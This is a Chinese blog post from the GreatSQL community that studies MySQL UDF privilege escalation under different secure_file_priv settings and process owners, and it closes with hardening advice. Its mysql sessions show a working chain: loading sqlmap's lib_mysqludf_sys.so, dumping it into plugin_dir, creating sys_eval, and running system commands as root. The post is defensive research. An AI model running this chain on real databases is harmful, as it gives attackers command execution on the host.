MySQL UDF 提权初探
MySQL UDF 提权初探
对 MySQL UDF 提权做一次探究,什么情况下可以提权,提取的主机权限是否跟mysqld进程启动的主机账号有关
数据库信息
MySQL数据库版本:5.7.21
UDF
UDF:(User Defined Function) 用户自定义函数,MySQL数据库的初衷是用于方便用户进行自定义函数,方便查询一些复杂的数据,同时也有可能被攻击者利用,使用udf进行提权。
提权原理:攻击者通过编写调用cmd或者shell的共享库文件(window为.dll,linux为.so),并且导入到一个指定的文件夹目录下,创建一个指向共享库文件的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。
执行过程:本质上还是利用了MySQL能够执行系统命令的特点。具体过程如下
(1)攻击者编写一些可以调用cmd或者shell的共享库文件(window为.dll,linux为.so),将共享库导入指定的函数目录中。
(2)在MySQL中创建指向共享库文件的自定义函数。
(3)通过刚刚创建的函数执行系统命令,实现提权。
漏洞详情
当mysql配置secure_file_priv项为空或者secure_file_priv项为plugin文件夹,且可以用弱口令登录数据库,存在udf提权漏洞。
-
查看漏洞利用条件:secure_file_priv为空或者为plugin文件夹,可以登录数据库,存在plugin文件夹
-
将udf.so文件导入相关plugin文件夹下
-
使用udf创建自定义函数 Create function sys_eval returns string soname 'udf.so';
-
使用自定义函数执行任意代码执行:
获取so文件
$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev python3 cloak.py -d -i /tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ $ ll /tmp/sqlmap-dev/data/udf/mysql/linux/64/ -rw-rw-r-- 1 mysql mysql 8040 May 21 15:17 lib_mysqludf_sys.so -rw-rw-r-- 1 mysql mysql 3200 May 21 15:17 lib_mysqludf_sys.so_
root账号拉起mysqld进程
secure_file_priv=''
mysql> show variables like '%secure_file_priv%'; +------------------+----------------+ | Variable_name | Value | +------------------+----------------+ | secure_file_priv | | +------------------+----------------+ mysql> show variables like '%plugin%'; +-------------------------------+------------------------------------+ | Variable_name | Value | +-------------------------------+------------------------------------+ | default_authentication_plugin | mysql_native_password | | plugin_dir | /mysql/svr/mysql5721/lib/plugin/ | +-------------------------------+------------------------------------+ #导入so文件成功 mysql> create table foo(line blob); Query OK, 0 rows affected (0.03 sec) mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so')); Query OK, 1 row affected (0.01 sec) #导出so文件到plugin_dir下成功 mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so'; Query OK, 1 row affected (0.01 sec) #创建自定义函数成功 mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so"; Query OK, 0 rows affected (0.00 sec) #调用函数成功 mysql> select sys_eval('whoami'); +--------------------+ | sys_eval('whoami') | +--------------------+ | root | +--------------------+ 1 row in set (0.02 sec) mysql> show variables like '%secure_file_priv%'; +------------------+----------------+ | Variable_name | Value | +------------------+----------------+ | secure_file_priv | /home/mysql/ | +------------------+----------------+ mysql> show variables like '%plugin%'; +-------------------------------+------------------------------------+ | Variable_name | Value | +-------------------------------+------------------------------------+ | default_authentication_plugin | mysql_native_password | | plugin_dir | /mysql/svr/mysql5721/lib/plugin/ | +-------------------------------+------------------------------------+ #创建中间表 mysql> create table foo(line blob); Query OK, 0 rows affected (0.03 sec) #导入so文件成功 mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so')); Query OK, 1 row affected (0.01 sec) #导出so文件到plugin_dir下失败 mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement #导出so文件到secure_file_priv mysql> select * from foo into dumpfile '/home/mysql/lib_mysqludf_sys.so'; Query OK, 1 row affected (0.00 sec) #通过plugin的so创建自定义函数失败 mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so"; ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)
secure_file_priv=dirname(secure_file_priv和plugin_dir路径一致)
#plugin_dir路径下有so文件了 #直接创建自定义函数 mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so"; Query OK, 0 rows affected (0.00 sec) #调用函数成功 mysql> select sys_eval('whoami'); +--------------------+ | sys_eval('whoami') | +--------------------+ | root | +--------------------+ 1 row in set (0.02 sec)
secure_file_priv=null
mysql> show variables like '%secure_file_priv%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | null | +------------------+-------+ 1 row in set (0.01 sec) mysql> show variables like '%plugin%'; +-------------------------------+------------------------------------+ | Variable_name | Value | +-------------------------------+------------------------------------+ | default_authentication_plugin | mysql_native_password | | plugin_dir | /mysql/svr/mysql5721/lib/plugin/ | +-------------------------------+------------------------------------+ #创建中间表 mysql> create table foo(line blob); Query OK, 0 rows affected (0.03 sec) #导入so文件成功 mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so')); Query OK, 1 row affected (0.01 sec) #导出so文件到plugin_dir下失败 mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement #通过plugin的so创建自定义函数失败 mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so"; ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 0 /mysql/svr/mysql-5.7.21-linux-glibc2.12-x86_64/lib/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or)
普通账号拉起mysqld进程
secure_file_priv=''
mysql> show variables like '%secure_file_priv%'; +------------------+----------------+ | Variable_name | Value | +------------------+----------------+ | secure_file_priv | | +------------------+----------------+ mysql> show variables like '%plugin%'; +-------------------------------+------------------------------------+ | Variable_name | Value | +-------------------------------+------------------------------------+ | default_authentication_plugin | mysql_native_password | | plugin_dir | /mysql/svr/mysql5721/lib/plugin/ | +-------------------------------+------------------------------------+ #导入so文件成功 mysql> create table foo(line blob); Query OK, 0 rows affected (0.03 sec) mysql> insert into foo values(load_file('/tmp/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so')); Query OK, 1 row affected (0.01 sec) #导出so文件到plugin_dir下成功 mysql> select * from foo into dumpfile '/mysql/svr/mysql5721/lib/plugin/lib_mysqludf_sys.so'; Query OK, 1 row affected (0.01 sec) #创建自定义函数成功 mysql> create function sys_eval returns string soname "lib_mysqludf_sys.so"; Query OK, 0 rows affected (0.00 sec) #调用函数成功 mysql> select sys_eval('whoami'); +--------------------+ | sys_eval('whoami') | +--------------------+ | mysql | +--------------------+ 1 row in set (0.06 sec)
余下的几种secure_file_priv=dirname(secure_file_priv和plugin_dir路径不一致),secure_file_priv=dirname(secure_file_priv和plugin_dir路径一致),secure_file_priv=null得出的结果是类似的,这里就不详细继续阐述了,全部写完可能篇数稍长。
总结
-
secure_file_priv
- ''(empty string),不限制导入和导出的目录。只需将so写到plugin_dir,能创建so自定义函数。存在漏洞风险
- dirname(指定目录),限制导入和导出为指定目录。如果指定的目录和plugin_dir相同,能正常创建so自定义函数,存在漏洞风险;否则不能创建so自定义函数
- null,禁止导入和导出操作,不存在漏洞风险
-
提权账号 无论采用哪种方式启动数据库(systemctl start mysql、mysqld、mysqld_safe),提权后的账号根据mysqld进程uid确定
$ ps -ef|head -1;ps -ef |grep 5721 UID PID PPID C STIME TTY TIME CMD root 18371 11890 1 17:33 pts/21 00:00:00 /mysql/svr/mysql5721/bin/mysqld --defaults-file=/mysql/conf/mysql5721.cnf
-
数据库账号的权限 目标端需要能执行select...into dumpfile、创建函数权限
建议
- 使用普通账号启动数据库(配置文件中--user=mysql)
- secure_file_priv设置为null,禁止导入和导出操作;如果需要导入和导出,将secure_file_priv设置为非plugin_dir目录
- 数据库密码尽量复杂
- 关注plugin_dir是否有新增的不明来源的.so文件和关注数据库是否有新增不明来源的自定义函数
Enjoy GreatSQL :)
关于 GreatSQL
GreatSQL是适用于金融级应用的国内自主开源数据库,具备高性能、高可靠、高易用性、高安全等多个核心特性,可以作为MySQL或Percona Server的可选替换,用于线上生产环境,且完全免费并兼容MySQL或Percona Server。
相关链接: GreatSQL社区 Gitee GitHub Bilibili
GreatSQL社区:
社区有奖建议反馈: https://greatsql.cn/thread-54-1-1.html
社区博客有奖征稿详情: https://greatsql.cn/thread-100-1-1.html
(对文章有疑问或者有独到见解都可以去社区官网提出或分享哦~)
技术交流群:
微信&QQ群:
QQ群:533341697
微信群:添加GreatSQL社区助手(微信号:wanlidbc
)好友,待社区助手拉您进群。

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
NGINX Gateway Fabric 如何实现复杂的路由规则
原文作者:Kate Osborn - F5软件工程师 原文链接:NGINX Gateway Fabric 如何实现复杂的路由规则 转载来源:NGINX 中文官网 NGINX 唯一中文官方社区 ,尽在nginx.org.cn NGINX Gateway Fabric是KubernetesGateway API规范的一个实现。它使用 NGINX 作为数据平面,可处理如GatewayClass、Gateway、ReferenceGrant及HTTPRoute等 Gateway API 资源,把 NGINX 配置为 HTTP 负载均衡器,将在 Kubernetes 中运行的应用暴露给集群外部。 在本文中,我们将探讨 NGINX Gateway Fabric 如何使用 NGINX JavaScript 脚本语言(njs)来简化基于请求头、查询参数及方法的 HTTP 请求匹配的实现。 在深入探讨 NGINX JavaScript 之前,我们先来看看 NGINX Gateway Fabric 如何配置数据平面。 使用 Go 模板从 Gateway API 资源配置 NGINX 为了配置 NGINX...
- 下一篇
电子表格转身购物车:三步轻松实现
在我们的项目当中,经常需要添加一些选择界面,让用户直观地进行交互,比如耗材、办公用品、设计稿或者其它可以选择的内容。 在线商城的商品目录和购物车无疑是一种大家都很熟悉的交互方式,但是在实际开发中,我们可能会遇到以下几个问题: 怎么及时响应产品的需求,快速实现功能上线? 怎样实现灵活变更模板,把数据、模板和实现分离,便于设计同学随时修改UI? 怎样让用户获得熟悉的交互体验,同时实现前端数据收集和统计? 这里给大家提供一个思路,用在线Excel来实现这个功能!本文将展示如何使用纯前端表格控件,在30分钟内、三步操作创建产品目录页和购物车效果。文末包含demo源码,不要错过。 先来看看完成的效果: 简单三步创建个性化产品目录页 除了支持数百种统计和财务功能的高速计算引擎外,我们还将大量使用SpreadJS内置的 RANGEBLOCKSPARKLINE(template_range, data_expr) - 一个强大的迷你图功能,允许用户将单元格范围模板 (template_range) 定义为单个单元格类型并将该模板应用于单元格以将一组数据(data_expr)加载到模板中。 点击此处下载...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- SpringBoot2全家桶,快速入门学习开发网站教程
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- Eclipse初始化配置,告别卡顿、闪退、编译时间过长
- Docker快速安装Oracle11G,搭建oracle11g学习环境
- 2048小游戏-低调大师作品
- SpringBoot2更换Tomcat为Jetty,小型站点的福音
- CentOS8,CentOS7,CentOS6编译安装Redis5.0.7
- CentOS7,8上快速安装Gitea,搭建Git服务器
- CentOS6,CentOS7官方镜像安装Oracle11G
- CentOS关闭SELinux安全模块